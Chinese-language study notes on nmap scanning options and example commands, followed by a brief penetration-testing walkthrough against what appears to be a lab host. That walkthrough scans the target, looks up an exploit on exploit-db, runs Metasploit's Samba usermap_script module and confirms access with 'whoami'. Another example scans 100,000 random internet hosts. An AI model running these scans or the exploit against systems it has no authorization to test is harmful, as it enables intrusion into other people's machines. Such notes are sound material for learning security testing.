官网资料
这里介绍了ＮＭＡＰ的指令
http://nmap.org/man/zh/
常用指令
操作系统的检测 －Ａ（常用） －Ｏ
检测主机 -sP (Ping扫描)
端口扫描 -sS (TCP SYN扫描) -sU (效率较低，UDP扫描) -sT (当无ＲＯＯＴ权限时候使用，TCP connect()扫描)
指定端口 -p 端口
服务版本扫描 -sV (版本探测)
输出 -oN <filespec> (标准输出) -oX <filespec> (XML输出)
实例
nmap -sV -sS -sU -p 22，53，110，143，4564 198.116.0-255.1-127
进行主机列举和TCP扫描，对象为B类188.116网段中255个8位子网。这 个测试用于确定系统是否运行了sshd、DNS、imapd或4564端口。如果这些端口 打开，将使用版本检测来确定哪种应用在运行。并且使用ＴＣＰ和ＵＤＰ
nmap -sP -O scanme.nmap.org/24
用ＰＩＮＧ的方式扫描域名所在网段的所有主机
nmap -v -iR 100000 -P0 -p 80
随机选择100000台主机扫描是否运行Web服务器(80端口)。由起始阶段 发送探测报文来确定主机是否工作非常浪费时间，而且只需探测主机的一个端口，因 此使用-P0禁止对主机列表。
nmap -sV -sS -oN nmap_abc 172.25.3.204
扫描的结果保存到nmap_abc文件，默认再ｈｏｍｅ目录
nmap -sV -sS -oX nmap_abc 172.25.3.204
扫描的结果保存到nmap_abc文件，默认再ｈｏｍｅ目录(XML格式) 推荐
-----------------------------------------------------------------
step 1 explore
tool: nmap,w3af,sqlmap,openvas...
nmap -sV -n 172.25.3.204
nmap -sV -p 139 -n 172.25.3.204
step2 search attack code,
tool:www.exploit-db.com
www.aol.com
www.baidu.com
http://www.exploit-db.com/exploits/16320/
step3 try it
tool:metaspolit,sqlmap
search usermap_script
use exploit/multi/samba/usermap_script
show payloads
show options
set rhost 172.25.3.204
exploit
---done-----
whoami
------------